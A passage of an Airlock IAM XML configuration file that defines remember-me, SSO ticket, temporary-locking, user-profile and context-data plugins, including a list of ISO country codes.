  <plugin class="com.airlock.iam.common.application.configuration.loginhistory.LoginHistoryConsistencyUserChangeListener" uuid="936df1a7-1bf1-4472-aaac-c141e5a1e3a6">
    <pluginProperty name="loginHistoryRepository">
      <plugin uuidref="5aaebf72-6169-45e7-82a0-d22de34307b0"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.password.repository.InMemoryPasswordRepositoryConfig" uuid="6aa23df3-3705-4c7c-96e9-c6a8933e4508">
    <pluginProperty name="hashFunction">
      <plugin uuidref="7266e9a8-ef07-4258-b85c-8f872c07ff91"/>
    </pluginProperty>
    <property name="useLatin1Encoding">false</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.rememberme.RememberMeConfig" uuid="b9e650ea-0dd4-4b9f-94d1-6b274fcdecf6">
    <property name="cookieName">RememberMe</property>
    <property name="cookiePath">%ENTRYPATH%</property>
    <property name="lifetime">7d</property>
    <property name="logoutBehavior">REMOVE_COOKIE</property>
    <property name="removeRememberMeTokensOnPasswordChanges">true</property>
    <property name="removeRememberMeTokensOnUserLocked">true</property>
    <pluginProperty name="repository">
      <plugin uuidref="c27091a2-a9b2-4270-ac54-be4821ae1c07"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.rememberme.RememberMeConfig" uuid="c29dfce0-7422-4548-912a-34bcffce4a57">
    <property name="cookieName">RememberMe</property>
    <property name="cookiePath">%ENTRYPATH%</property>
    <property name="lifetime">7d</property>
    <property name="logoutBehavior">REMOVE_COOKIE</property>
    <property name="removeRememberMeTokensOnPasswordChanges">true</property>
    <property name="removeRememberMeTokensOnUserLocked">true</property>
    <pluginProperty name="repository">
      <plugin uuidref="e9666670-750a-478f-ac14-55146941475d"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.rememberme.RememberMeConsistencyUserChangeListener" uuid="48853262-a9eb-4478-a739-f01b2c449082">
    <pluginProperty name="rememberMeSettings">
      <plugin uuidref="b9e650ea-0dd4-4b9f-94d1-6b274fcdecf6"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.rememberme.RememberMeConsistencyUserChangeListener" uuid="c4b9aaf3-095d-41d3-a582-a49fb5c1520a">
    <pluginProperty name="rememberMeSettings">
      <plugin uuidref="c29dfce0-7422-4548-912a-34bcffce4a57"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.rememberme.RememberMeRepositoryConfig" uuid="c27091a2-a9b2-4270-ac54-be4821ae1c07">
    <property name="logQueries">false</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.rememberme.RememberMeRepositoryConfig" uuid="e9666670-750a-478f-ac14-55146941475d">
    <property name="logQueries">false</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="bf82a061-f4a8-476c-9a34-6d813588e653"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.sso.PersistentAcceptedSsoTicketRepositoryConfig" uuid="85e02e86-a1c4-4519-97da-a0418ca58a6a">
    <property name="logQueries">false</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="bf82a061-f4a8-476c-9a34-6d813588e653"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.sso.PersistentAcceptedSsoTicketRepositoryConfig" uuid="cb674efc-2e45-4d26-ae69-4cb60b5e499f">
    <property name="logQueries">false</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="56f22ee6-a24c-47ea-9b6e-ecedf0c6bea3"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.sso.SsoHeaderTicketExtractorConfigImpl" uuid="eb491e74-2f14-4725-a636-20250dbbf12c">
    <property name="headerName">X-SSO-Auth-Token</property>
    <property name="urlDecodeValue">false</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.templock.ExponentialTemporaryLockingStrategyConfig" uuid="527b90c1-5dde-414c-8fc3-a2c3f6a4e111">
    <property name="additionalDurationMs">0</property>
    <property name="baseDurationMs">3000</property>
    <property name="exponentialFactor">2.0</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.templock.TemporaryLockingConfig" uuid="7421f640-f45a-40c7-927f-73323ab64931">
    <pluginProperty name="temporaryLockingStrategyConfig">
      <plugin uuidref="527b90c1-5dde-414c-8fc3-a2c3f6a4e111"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.user.UniversalUniqueIdentityGenerator" uuid="bde086c4-a656-4271-8e2e-7c97b64202c8"/>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.DateUserProfileItemConfig" uuid="c468d38b-e681-4a69-86b3-1988f405fa28">
    <property name="dateFormat">dd.MM.yyyy</property>
    <property name="dateTransformation">LOCAL_DATE</property>
    <property name="maxRelative">0</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">birthdate</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.birthdate</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.ListUserProfileItemConfig" uuid="577d0d98-8857-4a1d-8215-e14ade2625bd">
    <property name="itemList">534
      ABW
      AFG
      AGO
      AIA
      ALB
      AND
      ARE
      ARG
      ARM
      ASM
      ATF
      ATG
      AUS
      AUT
      AZE
      BDI
      BEL
      BEN
      BES
      BFA
      BGD
      BGR
      BHR
      BHS
      BIH
      BLR
      BLZ
      BMU
      BOL
      BRA
      BRB
      BRN
      BTN
      BVT
      BWA
      CAF
      CAN
      CHE
      CHL
      CHN
      CIV
      CMR
      COD
      COG
      COK
      COL
      COM
      CPV
      CRI
      CUB
      CUW
      CXR
      CYM
      CYP
      CZE
      DEU
      DJI
      DMA
      DNK
      DOM
      DZA
      ECU
      EGY
      ERI
      ESH
      ESP
      EST
      ETH
      FIN
      FJI
      FLK
      FRA
      FSM
      GAB
      GBR
      GEO
      GGY
      GHA
      GIB
      GIN
      GLP
      GMB
      GNB
      GNQ
      GRC
      GRD
      GRL
      GTM
      GUF
      GUM
      GUY
      HKG
      HMD
      HND
      HRV
      HTI
      HUN
      IDN
      IND
      IOT
      IRL
      IRN
      IRQ
      ISL
      ISR
      ITA
      JAM
      JEY
      JOR
      JPN
      KAZ
      KEN
      KGZ
      KHM
      KIR
      KNA
      KOR
      KWT
      LAO
      LBN
      LBR
      LBY
      LCA
      LIE
      LKA
      LSO
      LTU
      LUX
      LVA
      MAC
      MAR
      MCO
      MDA
      MDG
      MDV
      MEX
      MHL
      MKD
      MLI
      MLT
      MMR
      MNE
      MNG
      MNP
      MOZ
      MRT
      MSR
      MTQ
      MUS
      MWI
      MYS
      MYT
      NAM
      NCL
      NER
      NFK
      NGA
      NIC
      NIU
      NLD
      NOR
      NPL
      NRU
      NZL
      OMN
      PAK
      PAN
      PCN
      PER
      PHL
      PLW
      PNG
      POL
      PRI
      PRK
      PRT
      PRY
      PSE
      PYF
      QAT
      REU
      ROU
      RUS
      RWA
      SAU
      SDN
      SEN
      SGP
      SGS
      SHN
      SLB
      SLE
      SLV
      SMR
      SOM
      SPM
      SRB
      SSD
      STP
      SUR
      SVK
      SVN
      SWE
      SWZ
      SXM
      SYC
      SYR
      TCA
      TCD
      TGO
      THA
      TJK
      TKL
      TKM
      TLS
      TON
      TTO
      TUN
      TUR
      TUV
      TWN
      TZA
      UGA
      UKR
      UMI
      URY
      USA
      UZB
      VAT
      VCT
      VEN
      VGB
      VIR
      VNM
      VUT
      WLF
      WSM
      YEM
      ZAF
      ZMB
      ZWE</property>
    <property name="itemsAreResourceKeys">true</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">country</property>
    <property name="resourceKeyPrefix">countries</property>
    <property name="sortItems">false</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.country</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="3ab7f79a-0c01-4dab-93af-ea43105eb47b">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">false</property>
    <property name="propertyName">givenname</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.firstname</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="3f3145f4-bf44-46c8-963c-5603762f4fae">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">street</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.street</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="50bd72cc-0339-4861-9ec0-9a516122735c">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">company</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.company</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="68a30f0e-0593-46fe-93a4-c1240b7f5fa9">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">zipcode</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.zipcode</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="7aa0f698-ebe1-4e96-921f-7947b60c2c98">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">address2</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.address2</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="8764a7ab-431e-4baf-932e-2bc2c1e36b92">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">town</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.town</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="8a782fe4-1165-4d76-9c57-cd1a06ad01ca">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">salutation</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.salutation</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="8ea81b3b-40b5-45f9-8f5e-7d89307901d6">
    <pluginProperty name="checkUniqueness">
      <plugin uuidref="ae8baf53-522d-4e62-9aed-c6337bed6256"/>
    </pluginProperty>
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">false</property>
    <property name="propertyName">email</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.email</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="b0df70b3-3a79-400a-b292-e7d54a74b546">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">false</property>
    <property name="propertyName">surname</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.lastname</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.userprofile.StringUserProfileItemConfig" uuid="e4384659-f6ce-434c-9b2f-b4893e5b3cb3">
    <property name="checkUniquenessAgainstUsername">false</property>
    <property name="modifiable">true</property>
    <property name="optional">true</property>
    <property name="propertyName">streetNumber</property>
    <property name="sortable">true</property>
    <property name="stringResourceKey">userdata.label.street-number</property>
    <property name="validateOnlyChangedValues">true</property>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.usertrail.UserTrailLogRepositoryConfig" uuid="594a03ae-a188-4dd5-81cf-7f9a2b107f50">
    <property name="logQueries">false</property>
    <pluginProperty name="sqlDataSource">
      <plugin uuidref="bf82a061-f4a8-476c-9a34-6d813588e653"/>
    </pluginProperty>
  </plugin>
  <plugin class="com.airlock.iam.common.application.configuration.valueprovider.UserPrincipalNameProviderConfig" uuid="a57d5b02-3314-4dc0-910d-4cf4398f7e81"/>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateAndTimeContextDataItemConfig" uuid="66280ec7-2e61-46d2-a4e4-54b88d0ecb4d">
    <pluginProperty name="contextDataName">
      <plugin uuidref="54afb689-9e97-4327-932f-00ca579c04ba"/>
    </pluginProperty>
    <property name="databaseColumnName">remember_me_gen_date</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateAndTimeContextDataItemConfig" uuid="f20318b5-986a-4f6c-b13e-5e69f0c1ca76">
    <pluginProperty name="contextDataName">
      <plugin uuidref="f366f20e-5166-42f9-bb97-a13a379e2c99"/>
    </pluginProperty>
    <property name="databaseColumnName">remember_me_gen_date</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateAndTimeContextDataItemNameConfig" uuid="54afb689-9e97-4327-932f-00ca579c04ba">
    <property name="contextDataName">remember_me_gen_date</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateAndTimeContextDataItemNameConfig" uuid="f366f20e-5166-42f9-bb97-a13a379e2c99">
    <property name="contextDataName">remember_me_gen_date</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateContextDataItemConfig" uuid="7fd6a3f6-8998-49af-a099-787d66af870a">
    <pluginProperty name="contextDataName">
      <plugin uuidref="cb260f26-b2ae-45be-8177-4b969901d172"/>
    </pluginProperty>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateContextDataItemConfig" uuid="87ce3dcb-9012-4aad-ab4b-701a3561aa88">
    <pluginProperty name="contextDataName">
      <plugin uuidref="2a117cb6-64cd-4536-b286-cfc2b963e042"/>
    </pluginProperty>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateContextDataItemNameConfig" uuid="2a117cb6-64cd-4536-b286-cfc2b963e042">
    <property name="contextDataName">birthdate</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.DateContextDataItemNameConfig" uuid="cb260f26-b2ae-45be-8177-4b969901d172">
    <property name="contextDataName">birthdate</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="0fb31090-6c23-4260-afae-b1326f5f72f6">
    <pluginProperty name="contextDataName">
      <plugin uuidref="2f21d65a-8aa7-4bfa-a1db-f0234a28bd2e"/>
    </pluginProperty>
    <property name="databaseColumnName">salutation</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="19047f00-6fc4-4536-b1d1-5e894a1e7c3e">
    <pluginProperty name="contextDataName">
      <plugin uuidref="0ebf215c-f8f9-4e40-887f-7dd8bed3b5f2"/>
    </pluginProperty>
    <property name="databaseColumnName">new_email</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="1b2b8a03-b022-48ab-8ac3-6fe071a83c8e">
    <pluginProperty name="contextDataName">
      <plugin uuidref="9fb47339-4b24-422a-85ed-e432e6e41299"/>
    </pluginProperty>
    <property name="databaseColumnName">remember_me_secret</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="203f97f8-b4d9-4443-bdac-63029d5acb60">
    <pluginProperty name="contextDataName">
      <plugin uuidref="983ab003-d116-4282-99e3-664f3810581a"/>
    </pluginProperty>
    <property name="databaseColumnName">address2</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="26ef6a51-7c8c-44d4-9919-4939f2973360">
    <pluginProperty name="contextDataName">
      <plugin uuidref="78586132-25f8-4c1c-8553-43affc1fa456"/>
    </pluginProperty>
    <property name="databaseColumnName">streetNumber</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="2b65372a-18a9-4f2f-9f82-86981f7040a5">
    <pluginProperty name="contextDataName">
      <plugin uuidref="0339c8b3-e46c-4c43-9526-25ad7b31790f"/>
    </pluginProperty>
    <property name="databaseColumnName">language</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="33becf1e-8d6f-4ccd-ab62-bbcb7254e949">
    <pluginProperty name="contextDataName">
      <plugin uuidref="814167e6-b801-4a68-bea3-4633eb3948a2"/>
    </pluginProperty>
    <property name="databaseColumnName">country</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="36fad496-414b-46a7-bb5a-df258d304e7e">
    <pluginProperty name="contextDataName">
      <plugin uuidref="ee4603bd-65bb-40bc-aeaf-e80309b92ef6"/>
    </pluginProperty>
    <property name="databaseColumnName">new_email</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="4e682f92-874a-47e1-894c-521a9342628f">
    <pluginProperty name="contextDataName">
      <plugin uuidref="9467dab0-9e68-40e2-9a32-13ecb7fa47cc"/>
    </pluginProperty>
    <property name="databaseColumnName">givenname</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="51ea6faf-69ec-4004-abdf-e612c1b72767">
    <pluginProperty name="contextDataName">
      <plugin uuidref="fc9c4d85-78a9-46d3-996a-c676181f318d"/>
    </pluginProperty>
    <property name="databaseColumnName">surname</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="5655b12b-d95a-4a75-9e86-6c17a73bf45b">
    <pluginProperty name="contextDataName">
      <plugin uuidref="5cdc766e-7b10-4ca2-88be-1060d61be018"/>
    </pluginProperty>
    <property name="databaseColumnName">zipcode</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="61508bbf-b228-4b43-83f7-13e23ec67842">
    <pluginProperty name="contextDataName">
      <plugin uuidref="66950718-a3af-4db0-a091-f3761c6d4c19"/>
    </pluginProperty>
    <property name="databaseColumnName">street</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="65dc4979-a6ae-4b8e-9eb0-78b43da6c7d7">
    <pluginProperty name="contextDataName">
      <plugin uuidref="2f380443-e508-46a5-aba2-1e31a4e6c211"/>
    </pluginProperty>
    <property name="databaseColumnName">disclaimer_tag</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="6f88da36-b64f-4b74-bbce-20a92ea61d02">
    <pluginProperty name="contextDataName">
      <plugin uuidref="7791d78c-a809-4e10-8215-889bed856f49"/>
    </pluginProperty>
    <property name="databaseColumnName">company</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="703578a4-5e28-4bbb-bb97-d2b449cec16e">
    <pluginProperty name="contextDataName">
      <plugin uuidref="8cd6bc1f-4a63-4580-bf64-11802bde9408"/>
    </pluginProperty>
    <property name="databaseColumnName">street</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="76ac53a6-bab1-4243-957a-23d738e1d08a">
    <pluginProperty name="contextDataName">
      <plugin uuidref="76d56622-9953-4a29-8160-7cbe68eb254d"/>
    </pluginProperty>
    <property name="databaseColumnName">salutation</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="9786273c-77eb-4132-a3eb-a7585624fe16">
    <pluginProperty name="contextDataName">
      <plugin uuidref="9eb43a3f-0251-43bb-8c43-7d4483cf92c1"/>
    </pluginProperty>
    <property name="databaseColumnName">email</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="9efe87c0-d841-434b-b3cf-a526daabf322">
    <pluginProperty name="contextDataName">
      <plugin uuidref="8f2d21dd-72ad-4a9e-9708-db8229628409"/>
    </pluginProperty>
    <property name="databaseColumnName">remember_me_secret</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="aa76b41b-afe0-4660-b4ac-86121590b39a">
    <pluginProperty name="contextDataName">
      <plugin uuidref="93ac1c2c-e722-4087-8509-bd677636dcdc"/>
    </pluginProperty>
    <property name="databaseColumnName">address2</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="b166ec26-ecfc-476a-8f4a-8ebf3dbc86b2">
    <pluginProperty name="contextDataName">
      <plugin uuidref="ae575595-be3d-4be4-93ec-39018c26f730"/>
    </pluginProperty>
    <property name="databaseColumnName">realm</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="c77e62e5-d777-4072-9478-c4d09b47c521">
    <pluginProperty name="contextDataName">
      <plugin uuidref="464ebf73-ba90-4dd0-94e7-61e0fc383642"/>
    </pluginProperty>
    <property name="databaseColumnName">surname</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="cab33d7c-3f46-4cf5-b951-a956f068c2ce">
    <pluginProperty name="contextDataName">
      <plugin uuidref="6f0031b0-ee7a-4d2d-bc3f-164e951752d8"/>
    </pluginProperty>
    <property name="databaseColumnName">town</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="cb053038-d678-4c22-b890-1bbe61b89f5a">
    <pluginProperty name="contextDataName">
      <plugin uuidref="557f1ae3-c014-496e-976a-79294bea293b"/>
    </pluginProperty>
    <property name="databaseColumnName">language</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="cc45d8ff-8bf2-41fa-b868-c9d2e668588e">
    <pluginProperty name="contextDataName">
      <plugin uuidref="620086a7-3cef-40de-8be7-9dca662af76c"/>
    </pluginProperty>
    <property name="databaseColumnName">givenname</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="cde30fa6-6775-4e16-bb05-edad86ddb8ef">
    <pluginProperty name="contextDataName">
      <plugin uuidref="cab0755f-5622-4fff-a1f4-8b9e764d4d00"/>
    </pluginProperty>
    <property name="databaseColumnName">company</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="d20ca871-dfe4-43df-89d9-2312c0e6ae65">
    <pluginProperty name="contextDataName">
      <plugin uuidref="7037f493-fc5f-432a-89a3-683c50f26cd2"/>
    </pluginProperty>
    <property name="databaseColumnName">disclaimer_tag</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="d4689cc8-914a-4cb9-9d3d-2bc57000f223">
    <pluginProperty name="contextDataName">
      <plugin uuidref="e4bef5ea-9c33-48c6-8c36-101b9bc08fcb"/>
    </pluginProperty>
    <property name="databaseColumnName">email</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="e29fe40f-0475-454a-8bbd-8d478cb620c9">
    <pluginProperty name="contextDataName">
      <plugin uuidref="90cd647c-f2e1-40f5-985d-e5419995a503"/>
    </pluginProperty>
    <property name="databaseColumnName">state</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="e64c14b3-fa5a-4988-bee2-527124425668">
    <pluginProperty name="contextDataName">
      <plugin uuidref="b1dc7b01-b109-49f4-944c-cb3aa5225d82"/>
    </pluginProperty>
    <property name="databaseColumnName">zipcode</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="ebbe317d-f277-4565-bf3c-ad4b2f5f67d8">
    <pluginProperty name="contextDataName">
      <plugin uuidref="870f4c16-e393-41d5-bf5a-9a23a1ad8def"/>
    </pluginProperty>
    <property name="databaseColumnName">town</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="f3940b13-e822-4ae5-aeca-6b5d61e16b98">
    <pluginProperty name="contextDataName">
      <plugin uuidref="0a857a63-7321-4682-a8b2-8bafc5456bfe"/>
    </pluginProperty>
    <property name="databaseColumnName">realm</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="f5990038-c0af-4162-8e68-63faed8766e8">
    <pluginProperty name="contextDataName">
      <plugin uuidref="686280a8-230b-4082-8bbd-fc46045383d0"/>
    </pluginProperty>
    <property name="databaseColumnName">streetNumber</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="f59fd79c-d3fc-45b4-a20a-2dc62b83011e">
    <pluginProperty name="contextDataName">
      <plugin uuidref="14cc8845-b8f4-49f5-9c7a-562e397bdedf"/>
    </pluginProperty>
    <property name="databaseColumnName">state</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemConfig" uuid="fe99bc3c-81c2-4928-9dec-f8a9a8e646c2">
    <pluginProperty name="contextDataName">
      <plugin uuidref="b8f7c53e-32d6-4b9a-9c96-c8b99bb43a09"/>
    </pluginProperty>
    <property name="databaseColumnName">country</property>
    <property name="readonlyOnUpdate">false</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="0339c8b3-e46c-4c43-9526-25ad7b31790f">
    <property name="contextDataName">language</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="0a857a63-7321-4682-a8b2-8bafc5456bfe">
    <property name="contextDataName">realm</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="0ebf215c-f8f9-4e40-887f-7dd8bed3b5f2">
    <property name="contextDataName">new_email</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="14cc8845-b8f4-49f5-9c7a-562e397bdedf">
    <property name="contextDataName">state</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="2f21d65a-8aa7-4bfa-a1db-f0234a28bd2e">
    <property name="contextDataName">salutation</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="2f380443-e508-46a5-aba2-1e31a4e6c211">
    <property name="contextDataName">disclaimer_tag</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="464ebf73-ba90-4dd0-94e7-61e0fc383642">
    <property name="contextDataName">surname</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="557f1ae3-c014-496e-976a-79294bea293b">
    <property name="contextDataName">language</property>
  </plugin>
  <plugin class="com.airlock.iam.core.application.configuration.contextdata.StringContextDataItemNameConfig" uuid="5cdc766e-7b10-4ca2-88be-1060d61be018">
    <property name="contextDataName">zipcode</property>
  </plugin>
